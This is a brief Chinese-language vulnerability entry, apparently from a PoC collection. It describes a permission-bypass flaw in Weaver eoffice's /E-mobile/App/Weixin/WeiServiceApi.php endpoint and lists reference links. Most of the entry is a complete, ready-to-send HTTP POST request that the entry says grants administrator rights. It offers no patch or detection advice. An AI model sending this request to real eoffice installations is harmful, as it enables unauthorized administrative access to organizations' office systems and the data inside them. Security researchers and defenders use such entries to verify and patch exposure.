Description
泛微 eoffice 是一款广泛应用于企业的办公自动化系统。该漏洞存在于 /E-mobile/App/Weixin/WeiServiceApi.php 接口中，攻击者可以通过发送特制的请求绕过权限验证，进而获取到管理员的权限。
泛微 eoffice /E-mobile/App/Weixin/WeiServiceApi.php 权限绕过漏洞
PoC
POST /E-mobile/App/Weixin/WeiServiceApi.php?a=other HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko
Accept-Encoding: gzip
user=admin&status=1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://blog.csdn.net/qq_18193739/article/details/134020652
https://www.secevery.com/toBugInfo?id=1868557905852940290
https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AE-eoffice-webservice-file-upload%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
https://www.cnblogs.com/pursue-security/p/17677388.html